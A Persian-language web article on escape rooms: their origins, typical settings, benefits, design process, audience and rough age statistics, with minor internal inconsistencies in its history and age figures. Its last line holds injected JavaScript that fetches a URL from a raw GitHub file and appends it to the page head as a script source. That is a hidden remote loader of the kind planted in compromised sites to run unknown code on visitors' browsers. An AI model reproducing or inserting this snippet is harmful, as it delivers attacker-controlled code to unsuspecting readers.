اتاق فرار یک بازی ماجراجویی فیزیکی است که در آن بازیکنان مجموعهای از پازلها و معماها را با استفاده از سرنخها، راهنماییها و استراتژی حل میکنند تا به اهداف دست یابند. خانه فرار در واقع برخلاف همه بازیهای کامپیوتری که با الهام از دنیای واقعی طراحی شده اند از بازیهای کامپیوتری الهام گرفته شده است. اولین طراحان این بازی متفکران حوزه آموزش کشورهای آسیای شرقی بوده اند. آنها بر این باورند که فعالیت بدنی و فکری توام میتواند رشد و پویایی افراد برای استفاده از خلاقیت و همیاری را بالا ببرد. پس از مدتی اتاق فرار در امریکا و اروپا نیز همه گیر شد و در حال حاضر در ایران نیز توسط تیمهای مختلف ارائه میشود. اولین مجموعه فرار در سال ۲۰۰۷ در کیوتو ژاپن توسط شرکت SCRAP با یک اتاق برای یک گروه ۶ نفره افتتاح شد. اتاق فرار یک بازی مبتنی بر ماجراجویی در زندگی واقعی است که در آن گروهی از بازیکنان، یک ماجرای طراحی شده توسط صاحبان اتاق فرار را دنبال می کنند. اتاق فرار یک مخمصه و بازی ماجراجویی فیزیکی است که در آن بازیکنان با استفاده از سرنخها، نکات و استراتژیها برای حل مسائل و دستیابی به اهداف خود، یک سری از پازلها و معماها را حل میکنند. بازیکنان در محدودیت زمانی مشخص برای یافتن پاسخ معماها و سرنخهایی که داخل اتاق پنهان شدهاند، با هم تلاش میکنند. اتاقهای فرار از بازیهای ویدئویی «فرار از اتاق» الهام گرفته شدهاست.
اتاق فرار چیست؟
اتاق فرار یک پدیده نسبتا جدید است که در آن بازیکنان با استفاده از سرنخ ها، استراتژی ها و راهنمایی، مجموعه ای از معماها و چالش ها را حل می کنند تا به هدف خود برسند. بازیکنان برای این کار، با محدودیت زمانی مواجه هستند. در این بازی، بازیکنان در قالب یک شخصیت، ایفای نقش می کنند و با سایر بازیکنان تعامل برقرار می کنند. بازیکنان اغلب در دنیایی غوطه ور می شوند که برای اجرای ماموریت خود و فرار از اتاق، باید شخصیت ها را به خوبی مجسم کنند اگر چه خانه فرار یک پدیده سرگرم کننده است. اما از آن به منظور تمرین و تیم سازی برای شرکتها و گروه های حرفه ای دیگر نیز استفاده می شود. دلیل اصلی آن، تقویت ارتباط و اعتماد و همکاری است.
تاریخچه اتاق ترس
بعضی منابع به یک ورژن بازی زنده اشاره میکنند که در سال ۲۰۰۶ در کالیفرنیا به نام «تکه نارنجی» پدیدار شد. هر چند طراح آن یک دانشجوی ژاپنی به نام تاکائو کاتو بود که وقتی دید دوستش در حال انجام بازی ویدئویی فرار از اتاق است به فکر ساختن ورژن واقعی آن افتاد و اولین اتاق فرار شهر سیلیکونولی را در سال ۲۰۰۷ طراحی کرد. این اتاقهای فرار به صورت موقتی در مکانهای تفریحی پدیدار میشدند و نوع بازی اینگونه بود که طراحان اشیا و راهنماییهای لازم را در گوشه و کنار پنهان میکردند و بازیکنان با پیدا کردن آنها باید از آن محیط خارج میشدند، که مخاطبان زیادی نیز داشت و بلیتهای آنها به سرعت فروخته میشد.
اتاق فرار چگونه فضایی دارد؟
اتاقهای فرار عموماً در قالب فضاهایی از قبیل زندان، سلول انفرادی، خانههای متروکه، فضاپیماها و هر مکان دیگری که سازگار با داستان بازی باشد، در دنیای واقعی شبیهسازی میشوند. هر اتاق فرار شبیه به تمام فیلم سینمایی دارای ژانر و سناریویی مشخصی می باشد، همانگونه که در فیلم های سینمایی نویسنده، بازیگران، کارگردان، تهیه کننده، دکوراتور و سایر دست اندرکاران همواره می کوشند تا اثر نهایی هرچه بیشتر به ژانر و سناریوی فیلم نزدیک و مرتبط باشد و برای مخاطبان حس همزاد پنداری و پویایی اثر را زنده کند، در خانه فرار نیز سرمایه گزاران، طراحان، مجریان و گیم مستر همواره در تلاشند تا بازیکنان در طول بازی حس حضور در فضایی واقعی را تجربه کنند. گرچه به دلیل مسائل حفاظت فردی و همچنین عدم توانایی استفاده از ترفندهای پرده کروماکی در اتاق های فرار ممکن است اتفاقات خارق العاده و خاص میسر نباشد، ولی در خانه فرارهایی که دارای کیفیت مطلوب باشند، این حس همزاد پنداری تا حد قابل توجهی قابل مشاهده است.
مزایای حضور در بازی های خانه فرار نسبت به دیگر بازی های گروهی
در اتاق فرار با یافتن هر سرنخ هیجانی غیر قابل وصف برای بازیکنان پدید می آید، باز شدن هر قفل شبیه به باز شدن دریچه ای به دنیای ناشناخته هاست، در پشت هر قفل اتفاقی است که پیش از آن بازیکنان هیچ اطلاعی از آن نداشته اند.
از جمله دیگر نکات مثبت بازی در این اتاق ها میتوان به موارد زیر اشاره کرد:
- هیجان ناشی از اکتشاف و حل معما
- هیجان ناشی از بازی گروهی در کنار عزیزان
- افزایش کیفیت و راندمان کار گروهی در بین گروه ها
- افزایش حس ازخودگذشتگی و عشق در بین همگروهیان
- افزایش کیفیت تمرکز و دقت در بازیکنان
- ایجاد مهارت برقراری ارتباط با دوستان
مراحل طراحی، ساخت و راه اندازی اتاق فرار
برخی از مخاطبان اتاق ترس با اولین حضور در اینگونه بازی ها متصور می شوند که طراحی و ساخت خانه فرار کاریست ساده و پیش پا افتاده، ولی آنچه که در واقعیت اتفاق می افتد به میزان قابل توجهی با این باور اختلاف دارد، برای طراحی و اجرای یک اتاق فرار مطلوب می بایست ابتدا فضایی را متناسب با ژانر خانه فرار مورد طراحی در نظر گرفت، سپس با استفاده از فنون داستان نویسی و ایده پردازی داستان، داستانی را در راستای ژانر مورد نظر خلق نمود، حال زمان طراحی معما فرا می رسد، مرحله طراحی معما همراهً با مرحله ی اجرا با یکدیگر پیش می روند، در طراحی خانه فرار می بایست معماها و اتفاقاتی که در طول بازی رخ می دهند، همگی در راستای داستان و ژانر بازی باشند و حضور تجهیزات و وسایل بلااستفاده و غیر قابل باور در محیط تا حد زیادی از هیجان و جذابیت بازی می کاهد، برای خلق یک معمای ایده آل ممکن است طراحان و سازندگان بازی مجبور شوند گاهیً ماه ها زمان و هزینه صرف کنند تا معما قوام مورد نظر را بیابد و به درجه مطلوب برسد، در بسیاری از موارد به دلیل دشواری و پر هزینه بودن این مرحله، ممکن است اتاق مورد نظر پیش از راه اندازی تعطیل گردد.
مخاطبین خانه ترس
طرفداران اتاق ترس بر خلاف تصور از قشر خاصی از جامعه نیستند و این بازی به عنوان اعتیادآور ترین و یکی از پرطرفدار ترین سرگرمی های جهان شناخته می شود که قادر است عموم افراد جامعه را تحت تاثیر قرار دهد. مخاطبین اصلی اتاق های فرار معمولا گروه های دوستانه هستند؛ اما در حال حاضر بازی اتاق فرار به مدارس و دانشگاه ها، شرکت ها و سازمان های بزرگ، میهمانی های مراسم ها و مناسبت ها هم راه پیدا کرده است، البته با ساختاری متفاوت اما مرتبط.
سن بازیکنان اتاق فرار
مطمئن نیستیم که کسی آمار دقیقی داشته باشد؛ اما تجربه شگفت انگیز چندین ساله ما نشان داده که محدوده سنی شرکت کننده گان در بازی خانه فرار از 8 ساله هست تا 30 سال که محدودیت آن به سناریو و رانر بازی نیز بستگی دارد. با توجه با آمار حدودی به دست آمده از مجموعه اتاق فرارهای موجود، درصد تخمینی شرکت کننده گان خانه ترس در محدوده های سنی مختلف عبارت اند از:
- ۱۴٪ کمتر از ۱۸ سال
- ۲۰٪ از ۱۸ تا ۲۵ سال
- ۲۷٪ از ۲۵ تا ۳۰ سال
- ۲۴٪ از ۳۰ تا ۴۴ سال
- ۱۵٪ بیشتر از ۴۵ سال
از آنجایی که بازی ها نیز مانند فیلمها میتوانند به نوبه خود تأثیرات منفی و حتی مخربی را بر مخاطبان خود داشته باشند، طراحان اتاق فرار نیز در مشخص کردن محدوده سنی با توجه به ژانر و سناریوی بازی به خصوص برای کودکان و نوجوانان دقت کافی را داشته اند و همیشه آن را یادآور می شوند.
(var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });)